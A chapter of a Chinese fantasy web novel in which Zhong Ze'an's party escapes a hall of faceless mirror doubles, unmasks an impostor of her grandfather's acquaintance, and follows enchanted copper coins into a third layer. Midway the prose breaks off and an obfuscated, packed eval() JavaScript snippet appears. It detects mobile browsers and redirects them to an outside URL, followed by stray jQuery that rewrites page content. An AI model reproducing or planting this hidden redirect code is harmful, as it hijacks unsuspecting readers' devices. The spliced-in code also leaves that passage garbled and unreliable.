一阵天旋地转过后,钟则安直直地摔了出来。
后背撞在地上,滑出去一丈多远。那地冷得离谱,像大冬天把脸贴在铁门上。她趴着咳了半分钟,喉咙里全是铁锈味,脑子嗡嗡响。伸手一摸,手札还在,红绳兔子没了。
“靠。”
她撑起身,先扫了一圈。人都在。音扶着精卫站起来,精卫左脸糊成一片,像被水泡过的画。杨戬单膝跪地,小黄缩在他怀里,四只爪子都在抖。年从柱子后绕出来,银发上全是灰,一边走一边呸。钟馗站得最远,黑剑出了半鞘,又按了回去。霉神趴在地上,一动没动,直到钟则安用脚尖踢了踢他小腿,他才“嗷”一嗓子弹起来。
“都活着?”钟则安问。
“活着。”年把霉神从地上拽起来,“不过这地儿亮得我眼睛疼。”
确实亮。整个空间像被几万瓦的白炽灯从四面八方照着,地面能映出人影。几百根灰白柱子从地底拔起来,一直捅进头顶的雾里。每根柱子上都嵌着人脸。男的女的老的少的,闭眼的、半睁的、嘴角要笑不笑的,而且那些脸并不安静,它们的眼珠子会转。
“什么鬼地方。”霉神的声音从牙缝里钻出来,两条腿又开始打摆子。
“无面大厅。”应龙站在最前面,背对着所有人,声音闷闷的,“都精神点。这层专门扒人脸皮。你们脸上那点东西,在这儿可比命还值钱。”
霉神下意识摸了摸自己的脸:“扒下来能干嘛?贴墙上辟邪?”
应龙回头看了他一眼:“试试就知道了。”
钟则安顺着他目光看过去。最近那根柱子上嵌着张年轻男人的脸,眉眼有那么两分像她。她心里一突,像有根细针从后脑勺扎了一下。
“别看了。”她说,“找路。这地方待久了肯定没好事。”
“哪有路?”年问,“一眼望不到头。”
“没路就撞一条出来。”钟则安说,“总比站着等死强。”
话音刚落,正前方那面最大的铜镜“嗡”地亮了。
像有人从里面通了电。镜面白得刺眼,碎光从里面往外喷,一片两片几十片,在半空聚成一个人形。通体都是镜子做的,脸、脖子、手、脚,全由碎镜片拼成,光在里面乱窜,像打碎了的万花筒。
“欢迎来到我的大厅。我叫厄里斯。你们可以自己把脸交出来,也可以让我动手。我建议选第一种,省得受罪。”那人说话了,声音像碎玻璃刮铁皮,听得人后槽牙发酸。
钟则安没接话,她快速扫了眼四周,柱子上的脸全转过来了,几百张脸齐刷刷盯着他们,像几百只眼睛同时睁大了一圈。
“取你大爷。”年骂了一句,银发炸起来。
厄里斯笑了。那笑容在镜片脸上裂开,像一块冰从里面碎了:“有脾气。我喜欢,那就先从你开始。”
她抬手,五根细得像镜架的手指张开。八面铜镜同时发出尖啸,从每面镜子里走出一个“人”。
钟则安后颈一麻。
那些“人”没有脸,五官的位置凹下去,像被谁用勺子挖走了。但身形、衣服、走路姿势,和他们一模一样。一个“杨戬”,一个“年”,一个“音”,一个“精卫”,一个“钟馗”,一个“霉神”,一个“小黄”,还有一个“钟则安”。
“这啥玩意儿啊!”霉神腿一软,差点坐地上。
“看不出来吗?”钟馗黑剑横在身前,“他们都是照着我们扒下来的冒牌货。”
没等他们多说一个字,那些东西就冲过来了。
无脸“年”几乎原地消失,下一瞬出现在年面前,一拳砸向他面门。年偏头躲开,反手一肘打在对方脖子上。那个假货倒飞出去,撞断了一根柱子。下一秒,碎片重新拼起来,假货又站起来了。
“打不死啊!”年吼。
另一边,无脸“杨戬”已经抽刀。刀光和真刀一样冷,照着杨戬就劈。杨戬左手持刀格挡,两刀相撞,“铛”的一声,火星子溅了一地。两人各退一步。假货又上,刀刀奔着死角去。杨戬接得很稳,可钟则安看见他右肩在抖,旧伤被震开了。
“音!小心!”精卫喊。
无脸“音”张口,一道音浪像白刃一样削过来。音把精卫推到一边,双手结印挡了一下。音浪弹开,打在柱子上,那根柱子连脸一起碎了。假货没停,第二波又来。音只能边退边挡,根本腾不出手。
钟则安面前那个“自己”也动了。它提着笔,笔尖在地上划了一道,银光炸开。钟则安侧身躲过,银光擦着衣角飞过去,在地上割出三寸深的口子。
“靠,连银纹都会。”她咬了下后槽牙。
她提笔,对着那个假货写了个“破”。银墨飞出,打在那东西胸口,胸前的镜片炸成粉,整个人往后跌。可碎片没落地,飘起来又拼回去,而且这次拼得比刚才还快。
“烦躁,这玩意儿越打越多!”钟则安心里一沉。
杨戬对面已经站了两个无脸“杨戬”。年那边也是。霉神被无脸“霉神”追着跑,一边跑一边叫:“我跑不过我自己啊!我他妈不知道自己能跑这么快!”
小黄咬碎了一个假“小黄”的腿,玻璃渣全扎进嘴里。它呜呜叫,不肯松口,直到把那假货整个咬碎。可碎片落地,又开始动。
“别打了!”钟则安吼,“都住手!”
没人听,是根本停不下来。假货逼得太紧,谁先收手谁就挨打。杨戬趁着逼退两个地工夫,侧头朝她喊:“快想办法!”
钟则安一边躲着“自己”的攻击,一边用余光扫向应龙。应龙站在原地,没动。四五个假货围着他,却没一个上前,像一群狗围着一块滚烫的骨头。
“应龙!”钟则安喊,“它们为什么不打你?”
应龙的声音穿过打斗声,不紧不慢:“可能它们认不出我了。”应龙摸了摸自己布满黑色细纹地脸,“毕竟我现在这张脸,早就不是我了。这地方吃的是脸,你越像自己,它越追你。你越来劲,它越高兴。”
话是这么说,可谁也没法在挨打的时候把脸藏起来。
杨戬那边最凶,他刀法重,杀气盛,像在黑夜里自己点了盏灯。整个大厅的镜子都往他那聚光。假“杨戬”已经增加到三个,围着他打,刀刀朝要害去。杨戬左手接刀,右手垂着,血从袖子里滴下来,砸在地面上。
“杨戬!别硬扛!”年喊,自己却被两个假“年”夹在中间,左躲右闪,狼狈得很。
“这破东西比我速度还快!”年骂,“吃什么长的!”
音退到精卫身边,嗓子已经哑了。她用《云门》挡了三次,此刻声带像被砂纸磨过。精卫想用海气,一抬手,左脸就疼得像要被人从脸上撕下来。
“音,别唱了。”精卫拉住她,“再唱你嗓子就废了。”
“那怎么办?让它们把我俩当靶子打?”音眼睛红红的,快急哭了。
钟则安那边,她那个“自己”已经比她更熟悉她。她用银墨,它也用。她挥笔,它先她半拍。她后退,它已经绕到后面。
“砰——”钟则安左肩挨了一下,火烧火燎地疼,单膝跪地,裁衡差点脱手。
“局长!”霉神在不远处喊,哭腔都出来了,“我这边顶不住了啊!它连我跑路的姿势都学得一模一样!”
“别慌!”钟则安把裁衡往地上一戳,借力站起来。她盯着眼前那个没有脸的“自己”,忽然说了一句谁都没想到的话。
“我不打了。”
所有人都愣了。连假货都停了半秒。
“你疯了!”年吼。
钟则安真把裁衡收了。她空着手,闭上眼睛,转过身,用背对着那个无脸“钟则安”,所有人都以为她完了。
然而,那个假货也没动。
它站在那儿,脸的位置慢慢转向她,钟则安没睁眼,往前迈了一步。它没动。又一步,它退了一步。
“它看不见你了。”应龙说。
钟则安声音很稳:“都给我收手。别用功法,别动刀,别跑,把自己当成这大厅里的一粒灰。”
“你说得轻巧!”年又被逼退两步,“我不还手,它就能杀了我!”
“它杀不了你。”钟则安说,“它只有你动的时候才看得见你。你静下来,它就是个睁眼瞎。”
年骂了一句,但也老老实实停了下来,不打了。他一个后跳,把双手放下。两个假“年”同时一顿,像断网的机器人,呆站在原处。年喘着粗气,声音都在抖:“我靠,它们真的不追了。”
一个接一个。
音收了声音,精卫散了海气,钟馗也把黑剑按进鞘里。霉神直接趴在地上,把自己缩成一团,脸埋在胳膊里,只露半个后脑勺。
假货们像被拔了电源,它们站在原处,歪着头,像在很用力地看什么,可就是看不见。有个假“杨戬”从真杨戬面前走过去,像没看见这个人一样。
“别出声。”钟则安用极低的声音说,“跟着我走。”
全队贴着地面,慢慢往大厅左侧挪。假货们开始互相攻击,两个假“杨戬”对砍,刀刀见血,三个假“年”互相追。整个大厅乱成一锅粥,可那些东西再没看他们一眼。
“这他妈才是最吓人的。”霉神趴在地上,声音从胳膊缝里挤出来。
“别说话。”钟馗用气音道。
厄里斯还停在半空,她的镜片脸转得极快,每一片都在疯狂反光。她的声音没了刚才的游刃有余,尖得像用钉子划玻璃:“你们在哪儿?出来!别跟老鼠一样躲!我看见了!我什么都看见!”
小黄贴着杨戬的腿,喉咙里滚出极低的声音:“她在害怕。”
没人理她。但所有人心里都清楚,厄里斯越急,说明他们越对。
钟则安低声道:“她越慌,越容易出错。等她自己乱,我们就有机会。”
“她乱什么?再放几个假货出来我们就完了。”年压着声音。
“她放不出来了。”钟则安说,“现在假货们在互相打,说明她已经控制不住了。这玩意儿再厉害,也架不住同时控几十个。她也是在硬撑。”
应龙忽然低声接了句:“她快下来了。”
果然。
半空中的厄里斯尖啸一声,整个身体炸成碎镜片。那些碎镜没落地,像一股银色龙卷风,从空中直扑众人头顶。碎镜片在离他们不到三丈的地方重新聚合,变成一面两人高的铜镜。镜面朝向他们,像一只巨大的独眼。
“是你们逼我的。”声音从镜子里传出来,已经变了调。变成了一个极熟悉的声音。苍老,沉,带着久经世故的疲惫。
“钟则安。”那声音说,“你看看我是谁。”
镜子里出现一个人影。旧中山装,领口扣到最顶。右肩比左肩低两寸。那人慢慢转过身来。
沈山河。
左脸完好,皱纹和上面那个老人一样。右脸被剥掉了,从额头到下颌,整张脸皮被撕开,露出底下一片灰黑色的、还在跳动的筋络。可他还在笑。半张嘴笑得很和蔼。
“小钟,你外公在下面等你呢。”
钟则安的胃狠狠抽了一下。
所有人都没动。
“你外祖父,当年没想让你接这个班。”镜子里那个“沈山河”又说,声音压得更低,像专门说给她一个人听的,“他说你太像他了。像他的人,都活不长。”
钟则安听笑了。
她闭着眼,嘴角弯了一下,没什么温度。
“你是不是觉得,把我外公搬出来,我就该哭天喊地信了你?”她的声音很轻,可在这死静的空间里,字字清楚。
“你连他走路先抬哪只脚都不知道,在这跟我演什么。”她往前一步,手里的裁衡慢慢抬起来,笔尖银光亮得发冷。
“而且我外祖父说的话,也轮不到你这种玩意儿转达。”
话音落下,她一笔划出。
银墨如练,落在地上,溅出万点碎光。她写了一个“证”字。那字像铁钉,“铛”地钉进地面。整片大厅像被什么重物压了一下,那些还在乱斗的假货同时一僵,像被按住了脑袋。
“你装沈山河,行,那我问你。沈山河家里的孙女今年多大了?”
镜子里那个“沈山河”张了张嘴。
“答不上来?”钟则安说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906488|213025||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“因为你连沈山河的面都没见过。你照的是我脑子里那点印象。我印象里的沈山河,从来不喊我‘小钟’。他喊我‘钟同学’。一句错了,句句都假。”
铜镜“咔”地裂出几道纹。
“伪。”钟则安再写一字。
镜中“沈山河”像被从里面撕开,半边脸皮剥落下来,不是血肉,全是亮晶晶的镜片。那些镜片哗啦啦往下掉,像有人在里面砸了一箱碎玻璃。
“你装谁都行,偏装他。”钟则安收了笔,声音冷得像从胸腔里冻出来的,“我白天才见过他。他右肩低两寸,走路右脚先落地,左脚拖半寸。你演得挺像,可你身上没土味儿。他一路风尘仆仆,连鞋都顾不上擦。你这种干干净净从镜子里爬出来的东西,也配穿那身衣服?”
镜面上的裂痕猛地扩大。“沈山河”从中间碎开,镜片四散飞射。厄里斯的尖叫声从碎片里挤出来,像玻璃渣卡在喉咙里。
“漂亮。”年骂了一句,声音里居然带着笑。
钟则安没理他。她转过身:“走。趁它还没爬起来。”
小黄忽然弓起背,喉咙里“呜呜”地滚。
“钱。”它说。
霉神以为自己听错了:“什么钱?”
“下面。”小黄的鼻子贴着地面,尾巴不摇,“很多很多钱。从地底往上冒。”
应龙眼神一变:“赵公明那边。”
话音刚落,第一枚铜钱从地面缝里飞了出来。接着第二枚,第三枚。越来越多,像从地底喷出的金绿色泉。铜钱在地上乱滚,“当当”响成一片,每一枚都亮得不正常,上面刻着“华夏”两个字。
“这些钱会自己找路。”应龙说,“赵公明在上面用财运线往下灌的,快,咱们跟着钱走。”
钟则安低头。那些铜钱果然不是乱滚。它们像铁屑见了磁石,全朝一个方向聚,一枚接一枚,铺成一条细窄的钱路,从他们脚下一直伸向大厅最深处那条黑乎乎的窄道。
“走。”钟则安说。
众人踩上钱路。铜钱在脚底轻微震颤,像在给上面的人报信。后面的镜子碎片还在乱飞,厄里斯重新聚了形,可已经没了沈山河的模样,只剩一个残破的、乱转的碎镜人形。声音又尖又破:“你们跑不掉的!你们就等死吧!”
“你才死了!”霉神边跑边回头骂,“你全家都死了!”
小黄跑在最前,四只爪子踩在铜钱上,铃铛响得像串小鞭炮。杨戬跟在一侧,刀始终提在左手。他跑得不快,但每一步都沉,像在给后面的人压住这条路。
“窄道口就在前面!”年喊。
两根柱子之间裂着一道极窄的口子,仅容一人通过。里面黑漆漆的,有风从深处吹出来,带着热烘烘的铜气。
“进!”钟则安说。
一个接一个,侧身挤进去。杨戬最后一个,他在窄道口停了一瞬,回头看了一眼。厄里斯已经追到十步外,碎镜片组成的手眼看就要抓过来。
“杨戬!”钟则安吼。
杨戬没动。他手一松,刀自己飞出去,像一道冷电,直直插进厄里斯胸口。镜片炸开,厄里斯发出最后一声尖啸,碎成一地银沙。
刀飞回来,落在杨戬手中。刀尖上沾着一小片镜,像一滴凝固的泪。他转身进了窄道。
窄道又窄又长。
所有人贴着墙,一个跟一个往里挪。好在这里没有镜面,只有石壁。粗粝,干燥,慢慢热起来。走在最前的应龙突然停下。
“咋了?”霉神问。
“出口被堵了。”应龙说。
“啥玩意儿堵的?”年挤过来。
“这地方自己会关门。”应龙摸了摸石壁,“有人进来过,它就不想让人出去,也不会撒手。”
“那咋整?”霉神急了。
“慌什么。”应龙说,“给它开个洞。”
他抬起手,指尖按在石壁上,喉咙里滚出一声极低的龙吟。石壁像被震酥了,簌簌掉灰。可就在这时,窄道深处传来另一个声音。
极沉,极重,像一座山在呼吸。
“什么声音?”霉神声音都飘了。
应龙的手停在半空,脸色变得很难看:“第三层的门开了,有东西从下面上来了。”
呼吸声越来越重,热浪从深处涌出来,铜腥味浓得人想吐。最前方,黑暗里伸出一只极大的手。灰白色,指节像铜柱,指尖套着五枚粗大的青铜扳指。
它没有抓人,只一掌拍在窄道上方,整条石壁“咔”地崩下几块大石。然后,一个又闷又重的声音从地底滚上来:
“谁在我的山上面跑?”
钟则安贴在石壁上,脸上全是铜灰。她没慌,低声说:“都别吱声。等它过去。”
那只巨手在窄道外缓缓扫过,像在摸什么东西。小黄缩在杨戬怀里,四只爪子拼命捂住自己的嘴。年连呼吸都停了。霉神差点把自己憋死。
最终,那只手缩了回去。
“听错了。”那声音低低地说,“上面早没人了。”
呼吸声远了。热浪退去,像一头巨兽慢慢沉回地底。
应龙松了口气,手指重新按上石壁:“快。趁它睡着,我们把这儿撕开。”
他指下一用力,石壁裂开一道口子,里面透出铜红色的光。第三层的热风兜头灌进来,烫得人脸皮发紧。
“都别回头。”应龙说。
钟则安最后一个钻出去。脚底踩到第三层的土地时,热得她差点跳回去。眼前是一条极窄的铜色山道,贴着石壁,蜿蜒向下。山道旁是深不见底的沟壑,沟壑里翻着暗红色的光,像有火在水底烧。
“赵公明。”钟则安忽然说。
“什么?”年问。
“那些铜钱。”她摊开手,掌心不知何时攥着一枚。铜钱被汗浸得发亮,上面“华夏”两个字像被重新描过,红得发烫,“这地方在吸他的财运。他那边怕是也不轻松。”
她抬头,看向那条铜色山道。热浪扑在脸上,像在替第三层打招呼。
“等我们到了铜山。”钟则安把铜钱放回怀里,声音很低,“这笔账,我再跟他算。”